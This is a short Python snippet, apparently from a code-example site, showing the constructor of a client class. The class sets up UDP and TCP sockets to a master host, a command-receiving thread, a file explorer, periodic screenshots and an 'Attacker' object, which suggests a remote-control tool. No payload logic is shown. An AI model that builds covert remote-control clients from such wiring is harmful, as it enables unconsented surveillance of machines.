コード例 #1
0
    def __init__(self, udpPort=8082):
        # configs
        self.udpPort = udpPort
        self.udpRecvPort = udpPort + 1
        self.masterIP = master_ip
        self.masterUdpPort = config.getint('client', 'masterUdpPort')
        self.masterTcpPort = config.getint('client', 'masterTcpPort')
        self.ownip = get_host_ip()
        print(self.ownip)
        self.cwd = os.getcwd()
        self.fileExplorer = FileExplorer()

        self.p = None

        self.enableRun = True
        self.realCmdQ = Queue()
        self.commandThread = Thread(target=self.cmdRecv)
        self.commandThread.daemon = True
        self.commandThread.start()

        self.udpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.udpSocket.bind((self.ownip, self.udpPort))

        self.udpRecvSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.udpRecvSocket.bind((self.ownip, self.udpRecvPort))

        self.tcpSocket = None

        self.udpQ = Queue()
        self.udpS = Thread(target=self.udpSend, daemon=True)
        self.udpR = Thread(target=self.udpRecv, daemon=True)
        self.udpS.start()
        self.udpR.start()


        self.tcpSQ = Queue()
        self.tcpS = Thread(target=self.RealtcpSend, daemon=True)
        self.tcpS.start()

        self.enablePic = True
        self.picTime = 5  # 每张截图时间间隔为 picTime * 0.05

        self.picThread = None
        self.width = 672

        self.attacker = Attacker()